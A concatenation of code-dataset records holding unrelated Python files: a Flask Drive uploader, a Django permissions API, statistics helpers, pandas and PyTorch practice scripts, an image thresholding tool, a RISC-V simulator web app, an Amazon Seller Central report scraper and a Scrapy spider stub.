Use the saved creds\n gauth.Authorize()\n # Save the current credentials to a file\n gauth.SaveCredentialsFile(\"credentials.json\")\n\n drive = GoogleDrive(gauth)\n\n files = request.files.getlist('file[]')\n\n for file in files:\n filePath = app.config['UPLOAD_FOLDER'] + file.filename\n file.save(filePath)\n\n f = drive.CreateFile({'parents': [{\"kind\": \"drive#fileLink\",\n \"id\": '0B7YHWXSOqssvSThlUDRLcUlrR1k'}]})\n f['title'] = file.filename\n f.SetContentFile(filePath)\n f.Upload()\n return render_template('success_message.html')\n'''\n\nif __name__ == '__main__':\n app.run()\n","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":1588,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"575681506","text":"from django.db import transaction\nfrom django.db.models import QuerySet\nfrom misc.api import InternalAPI\nfrom misc.const import *\nfrom .models import Organization\n\n\nclass OrganizationAPI:\n @staticmethod\n def create(user, name, description=None):\n try:\n pm_list = InternalAPI.get_user_permissions_on_resource(\n user, RS_SYS\n )\n\n if not pm_list[PM_CREATE_ORGANIZATION]:\n return False, ARK_ERRMSG_CONTENT[1201]\n\n if name == None or len(name) == 0:\n return False, '组织名字不能为空'\n\n org = Organization(name=name)\n\n if description is not None:\n org.description = description\n\n with transaction.atomic():\n org.save()\n InternalAPI.update_resource_and_roles_relationship(\n RS_ORG, org.id\n )\n\n return True, None, org.id\n except Exception as e:\n return False, str(e)\n\n @staticmethod\n def delete(user, organization_id):\n try:\n pm_list = InternalAPI.get_user_permissions_on_resource(\n user, RS_ORG, organization_id\n )\n\n if not pm_list[PM_DELETE_ORGANIZATION]:\n return False, ARK_ERRMSG_CONTENT[1201]\n\n org = Organization.objects.get(id=organization_id)\n\n if org.inventory_set.exists():\n return False, 'inventories exist'\n\n if org.project_set.exists():\n return False, 'projects exist'\n\n if org.team_set.exists():\n return False, 'teams exist'\n\n Organization.objects.filter(id=org.id).delete()\n\n return True, None\n except Exception as e:\n return False, str(e)\n\n @staticmethod\n def update(user, organization_id, name=None, description=None):\n try:\n if organization_id == None:\n return False, '组织id传入不合法'\n if name == None or len(name) == 0:\n return False, '组织名字不能为空'\n pm_list = InternalAPI.get_user_permissions_on_resource(\n user, RS_ORG, organization_id\n )\n\n if not pm_list[PM_UPDATE_ORGANIZATION]:\n return False, ARK_ERRMSG_CONTENT[1201]\n\n org = Organization.objects.get(id=organization_id)\n\n if name is not None:\n org.name = name\n\n if description is not None:\n org.description = description\n\n org.save()\n\n return True, None\n except Exception as e:\n return False, str(e)\n\n @staticmethod\n def get(user, organization_id):\n try:\n pm_list = InternalAPI.get_user_permissions_on_resource(\n user, RS_ORG, organization_id\n )\n\n if not pm_list[PM_RETRIEVE_ORGANIZATION]:\n return False, ARK_ERRMSG_CONTENT[1201], None\n\n org = Organization.objects.get(id=organization_id)\n\n return True, None, org\n except Exception as e:\n return False, str(e), None\n\n @staticmethod\n def all(user):\n try:\n orgs = InternalAPI.get_user_resources_by_resource_type(\n user, RS_ORG\n )\n orgs = orgs.distinct()\n return True, None, orgs\n except Exception as e:\n return False, str(e), None\n\n # @staticmethod\n # def filter(user):\n # pass\n\n @staticmethod\n def get_all_teams(user, organization_id):\n try:\n pm_list = InternalAPI.get_user_permissions_on_resource(\n user, RS_ORG, organization_id\n )\n\n if not pm_list[PM_RETRIEVE_TEAM]:\n return False, ARK_ERRMSG_CONTENT[1201], None\n\n org = Organization.objects.get(id=organization_id)\n\n return True, None, org.team_set.all()\n except Exception as e:\n return False, str(e), None\n\n\n @staticmethod\n def get_teams_user_can_retrieve(user, organization_id):\n try:\n status, errmsg, org = OrganizationAPI.get(\n user=user,\n organization_id=organization_id\n )\n if not status:\n return False, ARK_ERRMSG_CONTENT[1201], None\n teams = org.team_set.all()\n teams_user_can_retrieve = list()\n for team in teams:\n pm_list = InternalAPI.get_user_permissions_on_resource(\n user=user,\n resource_type=RS_TEAM,\n resource_id=team.id\n )\n if PM_RETRIEVE_TEAM not in pm_list:\n continue\n if pm_list[PM_RETRIEVE_TEAM]:\n teams_user_can_retrieve.append(team)\n else:\n return True, None, teams_user_can_retrieve\n except Exception as e:\n print('here')\n return False, str(e), None\n\n @staticmethod\n def get_all_users(user, organization_id):\n '''\n 获取组织内用户\n :param user:\n :param organization_id:\n :return:\n '''\n try:\n pm_list = InternalAPI.get_user_permissions_on_resource(\n user, RS_ORG, organization_id\n )\n\n if not pm_list[PM_RETRIEVE_ORGANIZATION]:\n return False, ARK_ERRMSG_CONTENT[1201], None\n\n org = Organization.objects.get(id=organization_id)\n\n return True, None, org.users\n except Exception as e:\n return False, str(e), None","sub_path":"DorneWeb/organization/api.py","file_name":"api.py","file_ext":"py","file_size_in_byte":5641,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"620894189","text":"from constants import Constants\nfrom database import Database\nfrom math import exp\nfrom math import pi\n\nclass Statistician:\n\n\t@staticmethod\n\tdef gaussian_distribution(feature_value, mean_, variance_):\n\t\texponent_numerator = (feature_value-mean_)**2\n\t\texponent_denominator = 2*variance_\n\t\texponent_power = (exponent_numerator / exponent_denominator) * -1\n\t\texponent_ = exp(exponent_power)\n\t\tdenominator = (2*pi*variance_)**0.5\n\t\tprobability = exponent_ / denominator\n\t\treturn probability \n\n\t# returns [mean, variance] for each 1-d array or for each row\n\t@staticmethod\n\tdef get_mean_variance_of_label_sorted_2d_array(two_d_array):\n\t\tmean_variance_2d_array = []\n\t\tfor one_d_array in two_d_array:\n\t\t\tmean_ = Statistician.mean(one_d_array)\n\t\t\tvariance_ = Statistician.variance_given_mean(one_d_array, mean_)\n\t\t\tnew_one_d = []\n\t\t\tnew_one_d.append(mean_)\n\t\t\tnew_one_d.append(variance_)\n\t\t\tmean_variance_2d_array.append(new_one_d)\n\t\treturn mean_variance_2d_array\n\n\t@staticmethod\n\tdef handle_zero_variance_data(mean_variance_2d_array):\n\t\trow = 0\n\t\tfor one_d_array in mean_variance_2d_array:\n\t\t\tvariance_ = one_d_array[1]\n\t\t\tif(variance_ == 0.0):\n\t\t\t\tmean_variance_2d_array[row][1] = Constants.corrected_variance\n\t\t\trow = row+1\n\t\treturn mean_variance_2d_array\n\n\t@staticmethod\n\tdef mean(data):\n\t\tsum_ = 0.0\n\t\tfor datum in data:\n\t\t\tsum_ = sum_ + datum\n\t\tmean_ = sum_ / len(data)\n\t\treturn mean_\n\n\t@staticmethod\n\tdef variance_given_mean(data, mean_):\n\t\tsum_ = 0.0\n\t\tfor datum in data:\n\t\t\tsum_ = sum_ + ((datum-mean_)**2.0)\n\t\tvariance_ = sum_ / (len(data)-1)\n\t\treturn variance_\n\n\t# numpy.var() uses 'n' instead of 'n-1' in the denominator of variance formula\n\t@staticmethod\n\tdef variance(data):\n\t\tmean_ = Statistician.mean(data)\n\t\tsum_ = 0.0\n\t\tfor datum in data:\n\t\t\tsum_ = sum_ + ((datum-mean_)**2.0)\n\t\tvariance_ = sum_ / (len(data)-1)\n\t\treturn variance_","sub_path":"ass_3/src/statistician.py","file_name":"statistician.py","file_ext":"py","file_size_in_byte":1839,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"253652572","text":"# -*- coding:utf-8 -*-\n\nimport numpy as np\nimport pandas as pd\nfrom datetime import datetime\nfrom pandas.tseries.offsets import Hour,MonthEnd,Minute\n\n\nts = pd.Series(np.random.randn(6),index=pd.date_range(datetime.now(),periods=6,freq='3D'))\n\ndf = pd.DataFrame(np.random.randn(6,4),index=pd.date_range('1/1/2011',periods=6),columns=['one','two','three','four'])\n\nts.truncate(after='1/9/2011') # 输入值以前的所有期限\n\nts.groupby(level=0) # that == by=ts.index\n\nn = datetime.now() + Hour(3) + Minute(2)\n\ndatetime.now() + MonthEnd(2) # 两个月后的月底的 timestamp 对象\n\noffset = MonthEnd() # 这是变化的月份数\noffset.rollforward(datetime.now()) # 这个月向前一个月的月底\noffset.rollback(datetime.now())\n\nts.groupby(offset.rollback)\n\nprint(n)\n\nprint(ts)\nprint(df)\n\n# shifting data\nts.shift(1)\nts / ts.shift(1) - 1\n\narr = np.array(np.random.randn(5))\n\n\nimport pytz\nprint(pytz.common_timezones[:4])\n\nts_utc = ts.tz_localize('UTC')\nts_utc.tz_convert('US/Eastern')\nts_eastern = ts.tz_localize('US/Eastern')\nts_eastern.tz_convert('UTC')\nts_eastern.tz_convert('Europe/Berlin')\nts.index.tz_localize('Asia/Shanghai')\n\n\n# 运算和 timestamp 对象\nstamp = pd.Timestamp('1/9/2011')\nstamp.tz_localize('UTC')\nprint(stamp.value) # 时间的unix纪元计数\nstamp = pd.Timestamp('1/3/2033',tz='Europe/Moscow')\nstamp + 2*Hour()\n\n\n# 不同时区的加减 operation with diff time zone\nts1 = ts[:7].tz_localize('Europe/London')\nts2 = ts1[2:].tz_convert('Europe/Moscow')\nresult = ts1 + ts2\nresult.index\n\n# period 一段时间\np = pd.Period(2011)\nrng = pd.period_range(2011,2012,freq='M')\nindex = pd.PeriodIndex(pd.period_range(2011,2012))\n\n\n# period frequency conversion (转换)\np.asfreq('M',how='start')\np.asfreq('M','end')\n\n# quarter(1/4) freuency period\n\np.asfreq('D','start')\n# convert timestamp to period (or return)\n# 时间戳和一段时间\nts = p.to_timestamp()\nts.to_period()\n\n# use series\nrng = pd.date_range('1/1/2000', periods=3, freq='M')\nts = pd.Series(randn(3), index=rng)\npts = ts.to_period()\n\n# create periodindex from arrays\ndata = pd.read_csv('macrodata.csv')\nindex = pd.PeriodIndex(year=data.year, quarter=data.quarter, freq='Q-DEC')\n\n# resample frequency conversion\n\nfreq_sa = ts.resample('M') # group by freq\nfreq_sa.mean()\n\nts.resample('M',closed='left',label='left') # group 时时间是左开 还是右开\n\n# ohlc open-high-low-close 金融数据 开盘 高点 低点 收盘\nts.resample('5min',how='ohlc')\n\nts.groupby(lambda x:x.month).mean()\n\n# interpolation\nts.resample('D',fill_method='fill')\n\n\n# time Series plot\nclose_px_all = pd.read_csv('ch09/stock_px.csv', parse_dates=True, index_col=0)\nclose_px = close_px_all[['AAPL', 'MSFT', 'XOM']]\nclose_px = close_px.resample('B', fill_method='ffill')\nclose_px.info()\n\nclose_px['AAPL'].plot()\nclose_px['AAPL'].ix['01-2011':'03-2011'].plot()\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n","sub_path":"pydata_example/timeSeries.py","file_name":"timeSeries.py","file_ext":"py","file_size_in_byte":2889,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"508913194","text":"from PIL import Image\n\ndef find_peaks(v,quant):\n m1 = (0,0)\n m2 = (0,0)\n m3 = (quant,0)\n #primeiro pico\n for i in range(len(v)):\n if v[i] > m1[0]:\n m1 = (v[i],i)\n #segundo pico\n for i in range(len(v)):\n if v[i] > m2[0] and not( (i > m1[1] - 10) and (i < m1[1] + 10) ):\n m2 = (v[i],i)\n nmax = max(m1[1],m2[1])\n nmin = min(m1[1],m2[1])\n # print (nmax)\n # print (nmin)\n for i in range(nmin,nmax):\n if v[i] < m3[0]:\n m3 = (v[i],i)\n #{pico1, pico2, minimo}\n return [m1[1] , m2[1] , m3]\n\n\ndef seg_limiarizacao(image):\n\n h = image.histogram()\n j = find_peaks(h,( image.size[0]*image.size[1] ) )\n t = j[2][1]\n nmax = max(j[0],j[1])\n nmin = min(j[0],j[1])\n img = Image.new(\"L\" , ( image.size[0] , image.size[1] ) , 0 )\n for i in range(image.size[0]):\n for j in range(image.size[1]):\n if image.getpixel((i,j)) < t:\n img.putpixel((i,j),0)\n else:\n img.putpixel((i,j),255)\n\n\n # for i in range(len(h)):\n # print(str(i)+\" : \"+ str(h[i]))\n return img\n\ndef p_e_b(image):\n img = Image.new(\"L\" , ( image.size[0] , image.size[1] ) , 0 )\n for i in range(image.size[0]):\n for j in range(image.size[1]):\n p = image.getpixel((i,j))\n v = round((p[0] + p[1] + p[2])/3)\n # print (v)\n img.putpixel((i,j),v)\n img.show()\n return img\n\nif __name__ == '__main__':\n import sys\n if len(sys.argv) < 2:\n print (\"está faltando algum argumento!\")\n exit()\n\n caminho_imagem = sys.argv[1]\n\n imagem = Image.open(caminho_imagem)\n imagem.show()\n\n if isinstance(imagem.getpixel( ( 0 , 0 ) ) , int):\n # img = p_e_b(imagem)\n result = (seg_limiarizacao(imagem))\n for i in range(result.size[0]):\n for j in range(result.size[1]):\n print(result.getpixel((i,j)),end=\" \")\n print(\"\")\n\n else:\n print(\"imagem colorida\")\n img = p_e_b(imagem)\n (seg_limiarizacao(img)).show()\n","sub_path":"PI_T16/segmentacao.py","file_name":"segmentacao.py","file_ext":"py","file_size_in_byte":2087,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"552374224","text":"from flask import Flask, redirect, url_for, render_template, request, session, jsonify, Response\nfrom phase3 import PipelineExecute\nfrom phase1 import AssemblerHelper\nfrom phase2 import Non_PipelineExecute\nfrom bitstring import BitArray\nExecuter = None\n\ncurrentView = 'hex'\ndataView = ''\njumpAddress = ''\ninstruction_count = 0\nisPipeline = True\ncycle = 0\napp = Flask(__name__)\n@app.route('/', methods=['POST', 'GET'])\ndef home():\n\treturn render_template('base.html',register={},memory={})\n\n\n@app.route('/assemble', methods=['POST'])\ndef assemble():\n\tinput = request.json\n\t# print(input['text'])\n\tinput_filepath = './input/input.asm'\n\tf = open(input_filepath, 'w')\n\tf.write(input['text'])\n\tf.close()\n\tPhase1_helper = AssemblerHelper()\n\tprint(input)\n\ttext = []\n\tglobal Executer\n\toriginal_code, labels, result1 = Phase1_helper.get_original_code_and_label()\n\tif result1 == False:\n\t\treturn jsonify(success=labels)\n\n\tbasic_code, result1 = Phase1_helper.get_basic_code(\n\t\toriginal_code, labels)\n\tif result1 == False:\n\t\treturn jsonify(success=basic_code)\n\n\tmachine_code, result3 = Phase1_helper.get_machine_code()\n\tif result3 == False:\n\t\treturn jsonify(success=machine_code)\n\n\tglobal instruction_count\n\tglobal isPipeline\n\tinstruction_count = len(machine_code)\n\n\tfile_read = open('output.mc', 'r')\n\tmc = file_read.read()\n\tif input['specialInstruction']=='':\n\t\tinput['specialInstruction'] = -8\n\telse:\n\t\tinput['specialInstruction'] = int(input['specialInstruction'])\n\tif input['branch_prediction']=='False':\n\t\tinput['branch_prediction']=False\n\telse:\n\t\tinput['branch_prediction']=True\n\tif input['forwarding'] == 'False':\n\t\tinput['forwarding'] = False\n\telse:\n\t\tinput['forwarding']=True\n\tif input['pipeline_register'] == 'False':\n\t\tinput['pipeline_register'] = False\n\telse:\n\t\tinput['pipeline_register']=True\n\t\n\tif input['pipeline'] == 'True':\n\t\tisPipeline = True\n\t\tExecuter = PipelineExecute()\n\t\tExecuter.assemble(mc,input['forwarding'],input['branch_prediction'],input['pipeline_register'],input['specialInstruction'])\n\telse:\n\t\tisPipeline = False\n\t\tExecuter = Non_PipelineExecute()\n\t\tExecuter.assemble(mc)\n\n\t# pc = Executer.next_Instruction()\n\n\tPC = 0\n\tfor mc_i, basic_code_i, ori_i in zip(machine_code, basic_code, original_code):\n\t\ttext.append(('{0:X}'.format(int(PC)),\n\t\t\t\t\tmc_i, basic_code_i, ori_i))\n\t\tPC = PC + 4\n\treturn jsonify(success='pass', info=text, nextInstruction=('{0:X}'.format(int('0', 16))))\n\n\n@app.route('/diagram', methods=['POST'])\ndef diagram():\n\tif isPipeline:\n\t\tpath = Executer.getForwardingPath()\n\t\treturn jsonify(count=instruction_count, data=Executer.getDaigram(),path=path)\n\telse:\n\t\tpath = 'no_pipeline'\n\t\treturn jsonify(count=instruction_count, data=Executer.getDaigram(),path=path)\n\n\n@app.route('/simulate', methods=['POST'])\ndef simulate():\n\tif request.method == 'POST':\n\t\tglobal history\n\t\tglobal cycle\n\t\tinput = request.form.get('input')\n\t\tprint(input)\n\t\tif(input == 'run'):\n\t\t\tresult = 'EXIT'\n\t\t\t_cycle = Executer.run()\n\t\t\tprint(_cycle)\n\t\t\tif result:\n\t\t\t\treturn jsonify(success='EXIT', cycle=_cycle)\n\t\t\telse:\n\t\t\t\treturn jsonify(success='BREAKPOINT', cycle=_cycle)\n\t\telif(input == 'step'):\n\t\t\tresult, _cycle = Executer.runStep()\n\t\t\tcycle = _cycle\n\t\t\tresp = jsonify(success=result, cycle=cycle)\n\t\t\treturn resp\n\t\telif(input == 'prev'):\n\t\t\tif cycle == 0:\n\t\t\t\treturn jsonify(success='INSTRUCTION ERROR: no instruction left to execute\\n Hint: Click Step or Run')\n\t\t\t# Phase1_helper.mc_generater()\n\t\t\tfile_read = open('output.mc', 'r')\n\t\t\tmachine_code = file_read.read()\n\t\t\tcycle = cycle - 1\n\t\t\tExecuter.prev(cycle, machine_code)\n\t\t\tprint('cycle:', cycle)\n\t\t\treturn jsonify(success='update')\n\t\telif(input == 'reset'):\n\t\t\tExecuter.reset()\n\t\t\tregister = Executer.getRegister()\n\t\t\tmemory = Executer.getMemory()\n\t\t\treturn register, memory\n\t\telif(input == 'dump'):\n\t\t\tx = ''\n\t\t\tPhase1_helper = AssemblerHelper()\n\t\t\toriginal_code, labels, result1 = Phase1_helper.get_original_code_and_label()\n\t\t\tif result1 == False:\n\t\t\t\treturn jsonify(success=labels)\n\n\t\t\tbasic_code, result1 = Phase1_helper.get_basic_code(\n\t\t\t\toriginal_code, labels)\n\t\t\tif result1 == False:\n\t\t\t\treturn jsonify(success=basic_code)\n\n\t\t\tmachine_code, result3 = Phase1_helper.get_machine_code()\n\t\t\tif result3 == False:\n\t\t\t\treturn jsonify(success=machine_code)\n\n\t\t\tfor i in machine_code:\n\t\t\t\tx = x + '0x' + i + '\\n'\n\t\t\t# print(x)\n\t\t\treturn jsonify(success=x)\n\n\n@app.route('/display', methods=['POST'])\ndef display():\n\tif request.method == 'POST':\n\t\tglobal currentView\n\t\tinput = request.form.get('input')\n\t\tprint(input)\n\t\tcurrentView = input\n\t\treturn 'CS204'\n\n\n@app.route('/jump', methods=['POST'])\ndef jump():\n\tif request.method == 'POST':\n\t\taddress = request.form.get('input')\n\t\taddress = BitArray(hex=address).uint\n\t\taddress = address - address % 4\n\t\tif (address >= 0 and address <= 2147483644):\n\t\t\tglobal dataView\n\t\t\tglobal jumpAddress\n\t\t\tdataView, jumpAddress = 'jump', address\n\t\treturn 'CS204'\n\n\n@app.route('/next_instruction', methods=['GET'])\ndef next_instruction():\n\tpc = Executer.next_Instruction()\n\tIF_pc, ID_pc, EX_pc, MEM_pc, WB_pc = -1, -1, -1, -1, -1\n\ttry:\n\t\tIF_pc = pc['IF']\n\texcept:\n\t\tpass\n\ttry:\n\t\tID_pc = pc['ID']\n\texcept:\n\t\tpass\n\ttry:\n\t\tEX_pc = pc['EX']\n\texcept:\n\t\tpass\n\ttry:\n\t\tMEM_pc = pc['MEM']\n\texcept:\n\t\tpass\n\ttry:\n\t\tWB_pc = pc['WB']\n\texcept:\n\t\tpass\n\t# print(pc)\n\treturn jsonify(\tIF_pc='{0:X}'.format(IF_pc),\n\t\t\t\t\tID_pc='{0:X}'.format(ID_pc), \n\t\t\t\t\tEX_pc='{0:X}'.format(EX_pc), \n\t\t\t\t\tMEM_pc='{0:X}'.format(MEM_pc), \n\t\t\t\t\tWB_pc='{0:X}'.format(WB_pc))\n\n\n@app.route('/prev_instruction', methods=['GET'])\ndef prev_instruction():\n\tpc = Executer.prev_Instruction()\n\treturn jsonify(pc='{0:X}'.format(int(pc, 16)))\n\n\n@app.route('/refresh_register', methods=['GET'])\ndef refresh_register():\n\treturn jsonify(success=Executer.getRegister(), view=currentView)\n\n\n@app.route('/refresh_memory', methods=['GET'])\ndef refresh_memory():\n\treturn jsonify(success=Executer.getMemory(), view=currentView, dataview=dataView, address=jumpAddress)\n\n\n@app.route('/memory_section', methods=['POST'])\ndef memory_section():\n\tif request.method == 'POST':\n\t\tglobal dataView\n\t\tinput = request.form.get('input')\n\t\tdataView = input\n\t\treturn 'CS204'\n\n\n@app.route('/exit_', methods=['GET'])\ndef exit_():\n\tprint('hello')\n\tmemory = Executer.getMemory()\n\tf = open('output.mc', 'w')\n\tfor address in memory:\n\t\tb3 = BitArray(hex=memory[address][0]).bin\n\t\tb2 = BitArray(hex=memory[address][0]).bin\n\t\tb1 = BitArray(hex=memory[address][0]).bin\n\t\tb0 = BitArray(hex=memory[address][0]).bin\n\t\tvalue = BitArray(bin=b0 + b1 + b2 + b3).hex\n\t\tf.write('0x' + address + ' 0x' + value + '\\n')\n\tf.close()\n\treturn jsonify(success=\"Data Memory updated in output.mc\")\n\n@app.route('/cycleinfo',methods=['POST'])\ndef cycleinfo():\n\tif isPipeline:\n\t\tpc = Executer.next_Instruction()\n\t\tIF_pc, ID_pc, EX_pc, MEM_pc, WB_pc = -1, -1, -1, -1, -1\n\t\ttry:\n\t\t\tIF_pc = pc['IF']\n\t\texcept:\n\t\t\tpass\n\t\ttry:\n\t\t\tID_pc = pc['ID']\n\t\texcept:\n\t\t\tpass\n\t\ttry:\n\t\t\tEX_pc = pc['EX']\n\t\texcept:\n\t\t\tpass\n\t\ttry:\n\t\t\tMEM_pc = pc['MEM']\n\t\texcept:\n\t\t\tpass\n\t\ttry:\n\t\t\tWB_pc = pc['WB']\n\t\texcept:\n\t\t\tpass\n\t\tprediction,hazard,cycle,total_instr,CPI,alu_instr,data_instr,control_instr,data_hazard,control_hazard,misprediction,stalls,data_stalls,control_stalls = Executer.getCycleInfo()\n\t\t\n\t\treturn jsonify(\tIF_pc=IF_pc,ID_pc=ID_pc,EX_pc=EX_pc,MEM_pc=MEM_pc,WB_pc=WB_pc,\n\t\t\tprediction=prediction,hazard=hazard,total_cycles=cycle,total_instr=total_instr,CPI=CPI,\n\t\t\ttotal_alu_instr=alu_instr,total_data_instr=data_instr,total_control_instr=control_instr,\n\t\t\ttotal_data_hazard=data_hazard,total_control_hazard=control_hazard,total_misprediction=misprediction,\n\t\t\ttotal_stalls=stalls,total_data_stalls=data_stalls,total_control_stalls=control_stalls)\n\telse:\n\t\tID_pc, EX_pc, MEM_pc, WB_pc = -1, -1, -1, -1\n\t\tprediction,hazard='',''\n\t\tIF_pc,cycle,total_instr,CPI,alu_instr,data_instr,control_instr=Executer.getCycleInfo()\n\t\tdata_hazard,control_hazard,misprediction,stalls,data_stalls,control_stalls=0,0,0,0,0,0\n\t\treturn jsonify(\tIF_pc=IF_pc,ID_pc=ID_pc,EX_pc=EX_pc,MEM_pc=MEM_pc,WB_pc=WB_pc,\n\t\t\tprediction=prediction,hazard=hazard,total_cycles=cycle,total_instr=total_instr,CPI=CPI,\n\t\t\ttotal_alu_instr=alu_instr,total_data_instr=data_instr,total_control_instr=control_instr,\n\t\t\ttotal_data_hazard=data_hazard,total_control_hazard=control_hazard,total_misprediction=misprediction,\n\t\t\ttotal_stalls=stalls,total_data_stalls=data_stalls,total_control_stalls=control_stalls)\n\nif __name__ == '__main__':\n\tapp.run(debug=True, host='0.0.0.0')\n","sub_path":"app2.py","file_name":"app2.py","file_ext":"py","file_size_in_byte":8417,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"243762584","text":"from selenium import webdriver\nfrom selenium.webdriver.common.keys import Keys\nfrom selenium.webdriver.chrome.options import Options\nimport time\nimport sys\nimport common\nimport requests\nfrom datetime import timedelta, datetime\nimport os\n\n\n\nclass Health:\n def __init__(self, userData, executable_path):\n self.userData = userData\n self.executable_path = executable_path\n self.outFilePath=r\"D:\\code\\download\\inventory_health\"\n\n def report(self):\n yesterday = datetime.today() + timedelta(-1)\n yesterday_format = yesterday.strftime('%m-%d-%Y')\n driver= common.setDriver(self.userData,self.executable_path,self.outFilePath)\n driver.get(\"https://sellercentral.amazon.com/gp/homepage.html\")\n time.sleep(3)\n\n sign = driver.find_elements_by_css_selector(css_selector=\"#signInSubmit\")\n if len(sign) > 0:\n driver.find_element_by_id(\"signInSubmit\").click()\n\t\t\n driver.get(\"https://sellercentral.amazon.com/gp/ssof/reports.html/ref=ag_fbareports_dnav_fbafulrpts_\")\n time.sleep(3)\n driver.find_element_by_xpath(\"//*[@id='sc-sidepanel']/div/ul[2]/li[22]/a\").click()\n time.sleep(3)\n driver.find_element_by_xpath(\"//*[@id='INVENTORY_HEALTH']/a\").click()\n time.sleep(3)\n driver.find_element_by_id(\"tab_download\").click()\n time.sleep(3)\n driver.find_element_by_xpath(\"//*[@id='downloadReportForm']/table/tbody/tr[4]/td[2]/button/span\").click()\n time.sleep(200)\n driver.find_element_by_id(\"tab_download\").click()\n time.sleep(3)\n driver.find_element_by_xpath(\"//*[@id='downloadArchive']/table/tbody/tr[1]/td[4]/a/span/span\").click()\n time.sleep(10)\n def send(self):\n filesTmp=os.listdir(self.outFilePath)\n if len(filesTmp) >0:\n files = {'file': open(self.outFilePath+\"/\"+filesTmp[0], 'rb')}\n response = requests.post(\"http://localhost:8080/upload\", files=files)\n\n","sub_path":"code_example/selenium/inventory_health.py","file_name":"inventory_health.py","file_ext":"py","file_size_in_byte":1966,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"355940058","text":"##############\n# PARAMETERS #\n##############\n\npath_exp =''\nfile_mask = ''\ndir_input = ''\ndir_output = ''\n\n#############\n# LIBRARIES #\n#############\n\nimport numpy as np\nimport os\nfrom nilearn.masking import apply_mask\n\n\n#############\n# MAIN CODE #\n#############\n\nclass ExtractAllVoxel():\n def __init__(self,path_exp=path_exp,file_mask=file_mask, dir_input=dir_input, dir_output=dir_output):\n list_input = os.listdir(path_exp + '/' + dir_input)\n path_mask = path_exp + '/' + file_mask\n for file_input in list_input:\n path_input=path_exp + '/' + dir_input + '/' + file_input\n data_masked = apply_mask(path_input, path_mask)\n file_output=path_input.replace('.nii.gz','.csv')\n path_output=path_exp + '/' + dir_output + '/' + file_output\n np.savetxt(path_output, data_masked, delimiter=\",\")","sub_path":"extract/extract_voxel.py","file_name":"extract_voxel.py","file_ext":"py","file_size_in_byte":863,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"644830562","text":"import numpy as np \nimport pandas as pd \nimport matplotlib.pyplot as plt \nimport altair as alt\nimport torch\nfrom torch import nn\nimport torch.nn.functional as F\nfrom torch.utils.data import DataLoader\nfrom torchvision import datasets, transforms\n\n# linear regression\ninput_size = 1\noutput_size = 1\nnum_epochs = 60\nlearning_rate = 0.001\n\n# Toy dataset\nx_train = np.array([[3.3], [4.4], [5.5], [6.71], [6.93], [4.168], \n [9.779], [6.182], [7.59], [2.167], [7.042], \n [10.791], [5.313], [7.997], [3.1]], dtype=np.float32)\n\ny_train = np.array([[1.7], [2.76], [2.09], [3.19], [1.694], [1.573], \n [3.366], [2.596], [2.53], [1.221], [2.827], \n [3.465], [1.65], [2.904], [1.3]], dtype=np.float32)\n\ntraindf = pd.DataFrame({'x':x_train.T.squeeze(), 'y':y_train.T.squeeze()})\ntraindata = torch.utils.data.DataLoader(\n dataset=traindf, batch_size=5, shuffle=True\n)\n\nmodel = nn.Linear(input_size, output_size)\n\ncriterion = nn.MSELoss()\noptimizer = torch.optim.SGD(model.parameters(), lr=learning_rate)\n\nfor epoch in range(num_epochs):\n inputs = torch.from_numpy(x_train)\n targets = torch.from_numpy(y_train)\n outputs = model(inputs)\n loss = criterion(outputs, targets)\n optimizer.zero_grad()\n loss.backward()\n optimizer.step()\n\n if epoch % 5 == 0:\n print(f'Epoch {epoch + 1}, Loss: {loss.item()}')\n\nprediction = model(torch.from_numpy(x_train)).detach().numpy()\nplt.plot(y_train, prediction - y_train, 'ro')\nplt.xlabel('y')\nplt.ylabel(r\"$\\hat{y}$\", rotation=0)\nplt.title('residual plot')\n\n# logistic regression\nbatch_size = 64\nlearning_rate = 1e-3\nnum_epochs = 100\n\ntrain_dataset = datasets.FashionMNIST(\n root='../data', train=True, transform=transforms.ToTensor(), \n download=True\n)\ntest_dataset = datasets.FashionMNIST(\n root='../datas', train=False, transform=transforms.ToTensor()\n)\ntrain_loader = DataLoader(train_dataset, batch_size=batch_size, shuffle=True)\ntest_loader = DataLoader(test_dataset, batch_size=batch_size, shuffle=False)\n\nclass logitReg(nn.Module):\n def __init__(self, indim, nclass):\n super(logitReg, self).__init__()\n self.logistic = nn.Linear(indim, nclass)\n\n def forward(self, x):\n out = self.logistic(x)\n return out\n\nmodel = logitReg(28 ** 2, 10)\nuse_gpu = torch.cuda.is_available()\nif use_gpu:\n model = model.cuda\n\ncriterion = nn.CrossEntropyLoss()\noptimizer = torch.optim.SGD(model.parameters(), lr=learning_rate)\n\nfor epoch in range(num_epochs):\n print('*' * 10)\n print(f'Epoch {epoch + 1}')\n since = time.time()\n run_loss = 0.0\n run_acc = 0.0\n model.train()\n for i, data in enumerate(train_loader, 1):\n img, label = data\n img = img.view(img.size(0), -1)\n out = model(img)\n loss = criterion(out, label)\n","sub_path":"pytorch/basics/regression.py","file_name":"regression.py","file_ext":"py","file_size_in_byte":2825,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"191041099","text":"from crawler.spiders import BaseSpider\n# 此文件包含的头文件不要修改\nimport scrapy\nfrom utils.util_old import *\nfrom crawler.items import *\nfrom bs4 import BeautifulSoup\nfrom scrapy.http import Request, Response\nimport re\n\n\nclass awesome(BaseSpider):\n name = 'awesome'\n # allowed_domains = ['https://awesome.blog/']\n start_urls = ['https://awesome.blog/']\n website_id = 1243 # 网站的id(必填)\n language_id = 1866 # 